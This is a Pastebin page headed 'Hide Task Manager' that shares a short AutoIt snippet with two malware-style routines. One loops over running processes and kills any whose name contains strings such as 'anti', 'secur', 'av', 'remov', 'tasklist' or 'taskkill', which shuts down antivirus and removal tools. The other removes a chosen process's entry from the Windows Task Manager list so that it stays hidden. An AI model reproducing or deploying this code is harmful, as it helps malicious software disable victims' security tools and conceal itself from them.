Advertisement
MertcanGokgoz

Hide Task Manager

Dec 20th, 2018
207
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 0.89 KB | None | 0 0
  1. Func EndBadProcs()
  2.    Dim $bad_procs[7]
  3.    $bad_procs[0] = "anti"
  4.    $bad_procs[1] = "fix"
  5.    $bad_procs[2] = "remov"
  6.    $bad_procs[3] = "secur"
  7.    $bad_procs[4] = "av"
  8.    $bad_procs[5] = "tasklist"
  9.    $bad_procs[6] = "taskkill"
  10.    $procs = ProcessList()
  11.    For $i = 0 To UBound($procs) - 1
  12.       For $j = 0 To UBound($bad_procs) - 1
  13.          If(StringInStr($procs[$i][0], $bad_procs[$j], false)) Then
  14.             ProcessClose($procs[$i][1])
  15.          EndIf
  16.       Next
  17.    Next
  18. EndFunc
  19.  
  20.  
  21. Func HFTMN($sPN)
  22.    If $sPN <> 1 Then
  23.       $ipi = ControlListView("Windows Task Manager", "", 1009, "FindItem", $sPN)
  24.       If $ipi = -1 Then
  25.          Sleep(2)
  26.       Else
  27.          $h_listview = ControlGetHandle("Windows Task Manager", "", 1009)
  28.          DllCall("user32.dll", "int", "SendMessage", "hwnd", $h_listview, "int", $LVM_DELETEITEM, "int", $ipi, "int", 0)
  29.       EndIf
  30.    EndIf
  31. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement